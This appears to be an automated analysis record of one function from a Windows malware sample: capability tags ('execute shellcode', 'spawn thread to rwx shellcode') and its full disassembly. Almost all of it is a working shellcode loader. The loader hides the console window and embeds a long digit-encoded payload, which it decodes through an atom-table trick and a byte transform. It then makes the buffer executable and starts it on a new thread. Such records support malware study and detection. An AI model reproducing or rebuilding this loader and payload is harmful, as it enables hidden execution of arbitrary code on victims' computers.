Function at 0x1400052a0
Capabilities:
Allocate or change rwx memory
Create thread
Execute shellcode via indirect call
Spawn thread to rwx shellcode

Disassembly:
push rbp
push r15
push r14
push r13
push r12
push rsi
push rdi
push rbx
mov eax, 0x5f18
call fcn.14001b2c0
sub rsp, rax
lea rbp, [rsp + 0x80]
movaps xmmword [rbp + 0x5e80], xmm6
mov qword [rbp + 0x5e78], 0xfffffffffffffffe
stmxcsr dword [rbp + 0x3680]
or dword [rbp + 0x3680], 0x8040
ldmxcsr dword [rbp + 0x3680]
call qword [sym.imp.KERNEL32.dll_GetConsoleWindow]
xor esi, esi
mov rcx, rax
xor edx, edx
call qword [sym.imp.USER32.dll_ShowWindow]
mov al, 0x31
lea rcx, str.1788192818751780179217681800200020002000193719531937195219541953195819281985182619091928186719541904192818671954200819281867195419681928199918631930193019281867192219521933198518011928198518081836198019051916200219641968193718091801199719372001180917781773195419371953192818671954196818671938198019282001182419101873191220081995200219251922186718721864200020002000192818771808192419111928200118241952186719282008194018671936196819292001182417791958192817911801193718671988186419282001183019331985180119281961180818361937180918011997193720011809197617761925179319322003193219721992194119771825192518161944194018671936197219292001182419101937186719961928194018671936201219292001182419371867200418641937194419282001182419371944195019451946193719441937194519371946192818751772196819371954179117761944193719451946192818672018176919351791179117911949189820001929185419271897190218971902190919242000193719581929186517821932186517931937185019321927197420071791182919281985180119281985182619331985180819331985180119371952193719521937185019781958191318471791182917691891200020002000194619281865180919371848185120012000200019331985180119371953193719531898200319371953193718501959186518871814179118291771191319471928186518091928198518261929186518161933198518011954189620001986180818761954195419371850177119571966197917911829192818651814192818751811195218981994195118502015200020002000192818651793189820001896187219872000200019291865177619371849200420002000200019371850192519421886187817911829192818651793192818651818192918151808179117911791179119331985180119541954193718501965200620081915179118291877180819991877188520012000200019281791180719991876186820012000200017711859176917802001200020001768187417911791179119671922190919231967189819231967189819211925190919221913196519871966199019661986196619231900189719011966190118971902196618981923200019662014197919741982197720132012197419911983196419852009198020212023198619632006199419812020199220012020202320011981196419731961201819872014196019941996198020182015201420071995199919772000193719071907190919201924197819681962196719621997199419391903190219241909190219241965193219051902191119251905191119091978196819081909196519401941196419681909190219651939193719971994195719231909192219651937191119091902192419781968193319031914189719001900190519671989196619841968196019071903190119201905192418971906190019091979196819331955192919411968197619661984197919681959189719021908190319271923196819341956196819901966198519791968195619221897190819091902192419671989196619841961199719942000201720201978200920082012197020011966196419911985198719741976202219751963197020021984201320142011200119631975197219762009197719791988200419751991199419911987196919822004198719831979200319982003200719832016200619751982198719881989199419642020198019641988198420091966198519741976198919701960200519621998199120051967200020061975196320111992197419652023198419911974197919662000199419692023197120151985198419682019202219771975196619921970202119902017198019862011201720192006201319972004198519912002199119871974198420201991200019761968199820212022198719801975199320081977201519671996197719872008199919611991200419871966199019731980196519891974197420171979198619862011196019991964197720101997200119731967201420081993196919971998200019371854179218611842195817911829192819851801185020002000193620001937184820002016200020001937184919362000200020001937185019441844195517811791182919281891195519551928186517831928186517931928186518181937184820001968200020001929186517851937185020181894186517781791182919281875181219681877180819241862191018672007192820011811187718081925183119441944194419282005200020002000200019521811176819191789179117911923190919221926189719071909196519861897192719031984189919111987196519851987198419901990199019771984197719911966190618981966190519201897191119271966192419091902190719091902192419071923196619071903190120002000200118781840
nop word [rax + rax]
mov byte [rbp + rsi + 0x3680], al
movzx eax, byte [rsi + rcx + 1]
inc rsi
test al, al
jne 0x140005310
mov eax, esi
mov byte [rbp + rax + 0x3680], 0
lea r15, [rbp + 0x1b20]
lea r8, [rbp + 0x3680]
mov edx, 0x1b58
mov rcx, r15
call fcn.14000d2f4
xorps xmm0, xmm0
movaps xmmword [rbp + 0x5e30], xmm0
movaps xmmword [rbp + 0x5e20], xmm0
mov rcx, r15
call fcn.14000d380
test rax, rax
js 0x14000573b
mov r13, rax
cmp rax, 0xf
ja 0x1400053bb
mov qword [rbp + 0x5e30], r13
mov qword [rbp + 0x5e38], 0xf
lea rcx, [rbp + 0x5e20]
lea rdx, [rbp + 0x1b20]
mov r8, r13
call fcn.1400058d0
mov byte [rbp + r13 + 0x5e20], 0
mov rdi, qword [rbp + 0x5e20]
mov r13, qword [rbp + 0x5e30]
mov rbx, qword [rbp + 0x5e38]
jmp 0x140005427
mov rax, r13
or rax, 0xf
cmp rax, 0x17
mov ebx, 0x16
cmovae rbx, rax
cmp rbx, 0xfff
jb 0x1400053ef
lea rcx, [rbx + 0x28]
call fcn.140009ae4
lea rdi, [rax + 0x27]
and rdi, 0xffffffffffffffe0
mov qword [rdi - 8], rax
jmp 0x1400053fb
lea rcx, [rbx + 1]
call fcn.140009ae4
mov rdi, rax
mov qword [rbp + 0x5e20], rdi
mov qword [rbp + 0x5e30], r13
mov qword [rbp + 0x5e38], rbx
lea rdx, [rbp + 0x1b20]
mov rcx, rdi
mov r8, r13
call fcn.1400058d0
mov byte [rdi + r13], 0
mov qword [rbp + 0x5e68], rbx
cmp rbx, 0x10
lea rax, [rbp + 0x5e20]
mov qword [rbp + 0x5e70], rdi
cmovae rax, rdi
mov qword [rbp + 0x5e18], rax
lea r12, [rbp - 0x40]
xor ebx, ebx
xorps xmm6, xmm6
mov qword [rbp + 0x5e10], r13
jmp 0x140005492
add rsi, 0x28
mov rdx, rsi
mov rdi, rax
mov rcx, rdi
call fcn.140009b28
inc r12
inc r15
add r13, 0xfffffffffffffffc
mov rax, qword [rbp + 0x5e08]
mov rbx, rax
cmp rax, 0x6d60
je 0x140005661
cmp byte [r15], 0
je 0x140005661
movaps xmmword [rbp + 0x5e50], xmm6
movaps xmmword [rbp + 0x5e40], xmm6
cmp qword [rbp + 0x5e10], rbx
jb 0x140005736
lea rdi, [rbx + 4]
cmp r13, rdi
mov r14, rdi
cmovb r14, r13
add rbx, qword [rbp + 0x5e18]
cmp r14, 0x10
mov qword [rbp + 0x5e08], rdi
jae 0x140005530
mov qword [rbp + 0x5e50], r14
mov qword [rbp + 0x5e58], 0xf
lea rcx, [rbp + 0x5e40]
mov rdx, rbx
mov r8, r14
call fcn.1400058d0
mov byte [rbp + r14 + 0x5e40], 0
mov rsi, qword [rbp + 0x5e58]
cmp qword [rbp + 0x5e50], 3
jbe 0x140005627
mov rdi, qword [rbp + 0x5e40]
jmp 0x1400055a6
mov qword [rbp + 0x5e58], 0xf
mov rsi, r14
or rsi, 0xf
cmp rsi, 0x17
mov eax, 0x16
cmovb rsi, rax
cmp rsi, 0xfff
jb 0x140005580
lea rcx, [rsi + 0x28]
call fcn.140009ae4
mov rdi, rax
add rdi, 0x27
and rdi, 0xffffffffffffffe0
mov qword [rdi - 8], rax
jmp 0x14000558c
lea rcx, [rsi + 1]
call fcn.140009ae4
mov rdi, rax
mov qword [rbp + 0x5e40], rdi
mov rcx, rdi
mov rdx, rbx
mov r8, r14
call fcn.1400058d0
mov byte [rdi + r14], 0
cmp rsi, 0x10
lea rax, [rbp + 0x5e40]
cmovae rax, rdi
mov eax, dword [rax]
mov dword [rbp + 0x5dd0], eax
lea rcx, [rbp + 0x5dd0]
call qword [sym.imp.KERNEL32.dll_AddAtomA]
mov ecx, eax
lea rbx, [rbp + 0x5d90]
mov rdx, rbx
mov r8d, 0x32
call qword [sym.imp.KERNEL32.dll_GetAtomNameA]
mov rcx, rbx
call fcn.14000cecc
add al, 0x18
xor al, 0xe8
mov byte [r12], al
cmp rsi, 0x10
jb 0x140005472
lea rdx, [rsi + 1]
cmp rdx, 0x1000
jb 0x14000546a
mov rax, qword [rdi - 8]
add rdi, 0xfffffffffffffff8
sub rdi, rax
cmp rdi, 0x20
jb 0x140005460
call fcn.14000c7e4
cmp rsi, 0x10
jb 0x140005661
mov rcx, qword [rbp + 0x5e40]
lea rdx, [rsi + 1]
cmp rdx, 0x1000
jb 0x14000565c
mov rax, qword [rcx - 8]
add rcx, 0xfffffffffffffff8
sub rcx, rax
cmp rcx, 0x20
jae 0x140005622
add rsi, 0x28
mov rdx, rsi
mov rcx, rax
call fcn.140009b28
lea rsi, [rbp - 0x40]
lea r9, [rbp + 0x5e40]
mov edx, 0x1b58
mov rcx, rsi
mov r8d, 0x40
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov qword [rsp + 0x20], rsi
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0
lea r9, [0x140005240]
mov rcx, rax
xor edx, edx
xor r8d, r8d
call qword [sym.imp.KERNEL32.dll_CreateRemoteThread]
mov rsi, rax
mov rcx, rax
mov edx, 0xffffffff
call qword [0x1400346b8]
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rbp + 0x5e68]
cmp rcx, 0x10
jb 0x140005719
lea rdx, [rcx + 1]
cmp rdx, 0x1000
jb 0x14000570d
mov rdx, qword [rbp + 0x5e70]
mov rax, qword [rdx - 8]
add rdx, 0xfffffffffffffff8
sub rdx, rax
cmp rdx, 0x20
jae 0x140005622
add rcx, 0x28
mov rdx, rcx
mov rcx, rax
jmp 0x140005714
mov rcx, qword [rbp + 0x5e70]
call fcn.140009b28
xor eax, eax
movaps xmm6, xmmword [rbp + 0x5e80]
add rsp, 0x5f18
pop rbx
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
pop rbp
ret
call fcn.140005280
call fcn.140005260
int3